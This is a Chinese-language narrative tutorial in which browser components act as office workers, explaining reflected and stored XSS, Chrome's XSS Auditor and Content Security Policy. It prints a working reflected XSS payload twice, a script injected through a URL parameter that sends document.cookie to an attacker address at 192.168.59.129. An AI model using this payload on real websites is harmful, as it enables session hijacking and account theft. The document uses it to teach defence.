一個神秘URL釀大禍，差點讓我背鍋！_網頁設計

※推薦評價好的iphone維修中心

擁有專業的維修技術團隊，同時聘請資深iphone手機維修專家，現場說明手機問題，快速修理，沒修好不收錢

神秘URL

我叫小風，是Windows帝國一個普通的上班族。上一回說到因為一個跨域請求，我差點丟了飯碗，好在有驚無險，我的職場歷險記還在繼續。

“叮叮叮叮~~~~”，鬧鐘又把我給吵醒了，我一看時間竟然已經這麼晚了。

我趕緊起身，準備要去上班，好不容易在那家瀏覽器公司謀了個差事，可不敢遲到。

今天又是普通的一天，很快就到了深夜，上網業務少了，我和小雪妹子一合計，夥同負責網絡連接的老白和負責存儲的小黑，一起打起了麻將。

一連打了幾圈，正在興頭上，公司的美女前台跑了過來，“你們幾個別玩了，上網業務來了。老白，這是URL，給”

我瞅了一眼這URL，看上去有些奇怪，不僅比之前見過的都長，貌似還夾雜着一些JavaScript代碼。

http://zone.oo.com/user/info.jsp?desc=”/><script>$(“body”).append(“<img src=’http://192.168.59.129?c=”+escape(document.cookie) + “‘>”)</script><!–

“老白，這URL長的好奇怪？會不會有什麼問題？”，我向老白問到。

“嗨，你小子就是新來的，我見過的URL比你執行過的JS代碼都多，什麼奇形怪狀的沒見過，大驚小怪”，老白不屑一顧。

“大家把牌蓋着，都別看，忙完了回來咱接着打”，老白繼續說到。

於是大家各歸各位，準備處理這一單上網業務。

很快，老白取回了這個URL背後的網頁，交給了小雪來解析渲染。

小雪做了一半，叫住了我：“風哥，又有 <script> 標籤了，該你上了”。

我接過小雪手裡的網頁，猛地一看，這不是剛剛URL裏面出現的代碼嗎？怎麼又跑到網頁裏面去了？

心裏突然湧上一種不好的預感，正在困惑之中，老白催我了，“小雪小風你倆趕緊的，網頁加載半天了還沒显示出來！”

但願是我多想了，我開始執行這 <script> 標籤中的代碼了。

<script>
  $("body").append("\<img src='http://192.168.59.129:10086?c=" 
  + escape(document.cookie) + "'>")
</script>

我要創建一個新的 <img> 標籤，添加到網頁正文中去。看了一下這個圖片的來源，是一個新的地址，再一看，還要把當前網站的Cookie帶着作為參數才能拿到這個圖片。

我來到小黑的存儲倉庫，準備向他索要Cookie。

當我表明來意以後，小黑也顯得有些謹慎，“按照公司規定，一個網站的Cookie是不能隨便給別的網站訪問的”

“這我當然知道，不過現在是這個網站的JS代碼主動把Cookie取出來發給別人，這不算違反公司規定吧”，我解釋到。

小黑鄒着眉頭想了一想，也就同意了。

我拿到cookie后，構建了一個完整的 <img> 標籤添加到了網頁的DOM樹中，之後還給小雪繼續渲染。

網頁很快渲染完成展示出來了，忙完之後我們繼續開始未完的牌局。

過了一會兒，人類終於關掉了瀏覽器，我們也可以下班了······

XSS跨站腳本攻擊

第二天一早，我剛到公司，小雪妹子就轉過頭告訴我：“風哥，主管讓你去趟他的辦公室，他好像不太高興，你當心點”

“你知道是什麼事情嗎？”

“我也不太清楚，只聽說你執行了什麼錯誤的JavaScript代碼”

我心裏一緊，感覺大事不妙，難道是昨晚那奇怪的代碼有什麼問題？

來到主管的辦公室，見裏面坐了一個年輕小哥。我輕輕的敲了敲門問到：“主管，您找我有事？”

主管見我到來，指着旁邊的沙發示意我也坐下。

“你闖禍了知道嗎？”，領導扔給我一頁文件。

我拿起文件一看，上面赫然寫着我昨晚執行那段奇怪的JavaScript代碼。

“主管，我不太清楚，這是有什麼問題嗎？”，我小聲問道。

主管指着旁邊那個年輕小哥說到：“這位是OO空間網站的負責人，讓他告訴你吧”

小哥點了點頭說到：“是這樣的，我們發現有人盜用我們網站的Cookie，免登錄直接訪問了進去，經過日誌排查，發現是你們這裏把Cookie泄露的，所以想過來了解一下情況”

“這段代碼是你們網站自己的，我只是完成我的工作執行了它而已啊”，我開始有些緊張了。

“可是我們網站根本沒有這段代碼，也不可能把Cookie就這樣發給別人的”，這小哥也爭辯道。

辦公室的氣氛變得有些緊張，現場陷入了短暫的安靜。

就在此時，年輕小哥出去接了一個電話。

片刻之後，小哥再次回到辦公室，臉色突然和緩了許多，笑着說到：“不好意思，剛剛接到同事的電話說，他們已經排查出了問題，是我們網站對URL中的參數沒有檢查，直接寫入了網頁中，被人利用傳入了JS代碼。跟你們應該沒有關係，實在是抱歉”

聽完，我鬆了一口氣，差點就要背鍋了。

回到工位，我把事情的經過告訴了大夥。

小雪聽后吐槽：“那些奇奇怪怪的URL就別亂點嘛，真是給我們添亂”

“你看你看，我昨晚上就覺得有些不對勁。這壞蛋手段挺高啊，能想出這麼個損招，咱們給這種攻擊方式取個名字吧”，小黑說到，“叫Cross Site Script攻擊怎麼樣？”

老白點了點頭，“跨站腳本攻擊，嗯，總結很到位，那就簡稱CSS吧！”

小雪一聽轉過頭來，“你叫CSS，那我的層疊樣式表豈不是要改名讓賢？”

老白撓了撓頭，有些不好意思，“哦，忘了這一茬。那改一下，叫XSS，這總可以了吧？”

我們都點了點頭，就這麼定了。

XSS Auditor

雖然這一次的事情責任不在我們瀏覽器，不過我一直還是有些后怕。

這天晚上，我又仔細回憶了那天整個事情的經過

突然腦子里靈光一閃，發現一個重要的特點

※網頁設計最專業,超強功能平台可客製化

窩窩以「數位行銷」「品牌經營」「網站與應用程式」「印刷品設計」等四大主軸，為每一位客戶客製建立行銷脈絡及洞燭市場先機。

既然JS代碼同時出現在了請求的URL中和響應的網頁中，何不利用這個特點來進行針對性攔截呢？

越想越難入睡，連夜寫起了方案。

第二天，來到公司，打算將昨晚的方案彙報給主管，掙一下錶現。

我再次來到主管辦公室，主管見是我，招呼道：“小風啊，來來來，剛好找你有點事”

我快步走了進去，只見主管又拿出了一疊文件放在我的面前，隨後說到：“這是我搞到的絕密資料，是咱們隔壁Chrome瀏覽器公司的一個叫XSS Auditor的技術，據說可以阻止類似上次的攻擊事件，你抽空研究一下”

我腦子一懵，趕緊快速瀏覽了這份文件，沒想到居然跟我的方案撞到一塊兒了，而且比我想的還全面細緻。我只好悄悄收起了原來準備彙報的方案······

幾天後，主管宣布我們也要用上這種技術，增強咱們瀏覽器的安全性。

存儲型XSS

“聽說了嗎？隔壁Chrome瀏覽器公司也發生XSS攻擊了”，一天中午，老白神神秘秘的說到。

我一聽來了精神，“不是有XSS Auditor嗎，怎麼還會發生這種事？”

“這回那些壞蛋換招了，他們沒有把JS代碼放在URL中，XSS Auditor自然是發覺不了了”

“不在URL中，那放哪裡了？”

“聽說是存在了數據庫里，訪問網頁的時候從數據庫里讀取出來后，直接給填充到了網頁上了，喏，就像這樣”，老白說完畫了一個圖。

“對了，他們藉此機會把XSS攻擊分成了兩種，以前那種直接通過URL把JS代碼注入進網頁的方式叫做反射型XSS，這一次這種叫存儲型XSS”，老白繼續說到。

我看了老白的圖一下就明白了，“這一招也太狠了，存進了網站的數據庫里，所有人訪問頁面都得中招”

“可不是咋的，OO空間網站那邊已經亂成一鍋粥了，正在內部整頓，對所有的輸入進行全面的檢查過濾，防止JS代碼混進去。”

“這種事情還是得他們網站自己做好檢查，咱們瀏覽器也幫不上什麼忙”，一旁的小黑也插了一嘴。

大家七嘴八舌聊了幾句就散了。

雖然小黑說的也沒錯，不過上次的方案撞車，我一直不太服氣，這一次機會來了，我要是能再想出一套方案，能把這次的新型XSS一併解決的話，那就揚眉吐氣了。

之後一段時間，一有閑暇我就開始思考這個問題，卻一直沒什麼進展。

CSP

這一天中午，沒什麼工作要忙，我又想起了這個問題，小雪他們又組織打麻將，我沒有心思便拒絕了。

老白聞訊過來，說到：“小風，你還在想那個問題啊，你這两天沒看新聞嗎，W3C標準化組織推出了一個新技術，已經把這個問題解決了！”

老白的話如當頭一棒，“什麼技術？怎麼解決的？”

“你看你，天天關起門來研究，都不知道外面的世界變化有多快。你去了解一下，好像叫什麼Content Security Policy，哦對，就是這個，簡稱叫CSP”

我趕緊去打聽了這個叫CSP的新技術，看完直拍大腿，我怎麼就沒想到。

CSP規定了一個叫Content-Security-Policy的信息，網站通過這個信息告訴瀏覽器哪些外部資源可以加載和執行。這個信息可以用HTTP頭的形式出現，像這樣：

也可以通過 <meta> 標籤出現，像這樣：

<meta http-equiv="Content-Security-Policy" 
      content="script-src 'self'; object-src 'none'; style-src cdn.example.org third-party.org; child-src https:">

至於裏面的內容，則是將所有可能出現外部資源加載的地方進行了指示，瀏覽器拿到它就能知道能去哪些地址加載對應的資源，如果資源所在的地址不在名單之內就拒絕加載：

- script-src：外部腳本
- style-src：樣式表
- img-src：圖像
- media-src：媒體文件（音頻和視頻）
- font-src：字體文件
- object-src：插件（比如 Flash）
- child-src：框架
- frame-ancestors：嵌入的外部資源
- connect-src：HTTP 連接（通過 XHR、WebSockets、EventSource等）
- worker-src：worker腳本
- manifest-src：manifest 文件

比如 img-src的內容是self，那所有的 <img> 標籤的src屬性必須是在當前網站才行，如果加載其他地址的圖片就會拒絕。

不僅如此，還提供了一個叫report-uri的字段，字段內容是一個服務器地址，瀏覽器發現有不符合規定的資源加載后，除了拒絕加載還可以把這一情況報告給這個地址，網站就能及時知道預警了。

真是完美的解決方案！沒想到，竟然這麼多競爭對手都已經用上了這項技術

當天下午，我就拉着老白去到領導辦公室，說服他將這項技術在咱們公司也用起來。

煩人的XSS攻擊總算是緩解了不少，我們也難得度過了一段時間的太平日子。

未完待續······

彩蛋

太平的日子沒有太持久，那件事之後半個月，我又因為執行一段JS代碼霸佔CPU太久，被帝國安全警衛隊勒令我們瀏覽器公司強制關閉。

執行JavaScript這份工是越來越不好打了。

預知後事如何，請關注後續精彩······

往期熱門回顧

因為一個跨域請求，我差點丟了飯碗

就為了一個原子操作，其他CPU核心都罷工了

完了！CPU一味求快出事兒了！

可怕！CPU竟成了黑客的幫凶！

哈希表哪家強？幾大編程語言吵起來了！

震撼！全網第一張源碼分析全景圖揭秘Nginx

一個整數＋1引發的災難

一網打盡！每個程序猿都該了解的黑客技術大匯總

DDoS攻擊：無限戰爭

一個Java對象的回憶錄：垃圾回收

誰動了你的HTTPS流量？

路由器里的廣告秘密

一個HTTP數據包的奇幻之旅

我是一個流氓軟件線程

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

※台北網頁設計公司這麼多該如何選擇?

網動是一群專業、熱情、向前行的工作團隊,我們擁有靈活的組織與溝通的能力,能傾聽客戶聲音,激發創意的火花,呈現完美的作品